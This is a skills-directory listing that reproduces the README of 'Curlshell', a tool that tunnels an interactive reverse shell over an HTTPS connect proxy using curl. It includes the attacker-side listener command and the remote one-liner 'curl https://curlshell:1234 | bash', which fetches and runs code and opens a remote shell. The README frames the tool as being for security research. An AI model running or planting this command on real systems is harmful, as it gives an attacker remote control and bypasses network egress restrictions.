SkillAgentSearch skills...

Curlshell

reverse shell using curl

Install / Use

/learn @irsl/Curlshell
About this skill

Quality Score

0/100

Supported Platforms

Universal

README

Reverse shell using curl

During security research, you may end up running code in an environment, where establishing raw TCP connections to the outside world is not possible; outgoing connection may only go through a connect proxy (HTTPS_PROXY). This simple interactive HTTP server provides a way to mux stdin/stdout and stderr of a remote reverse shell over that proxy with the help of curl.

Usage

Start your listener:

./curlshell.py --certificate fullchain.pem --private-key privkey.pem --listen-port 1234

On the remote side:

curl https://curlshell:1234 | bash

That's it!

View on GitHub
GitHub Stars476
CategoryDevelopment
Updated19d ago
Forks79

Languages

Python

Security Score

80/100

Audited on Mar 8, 2026

No findings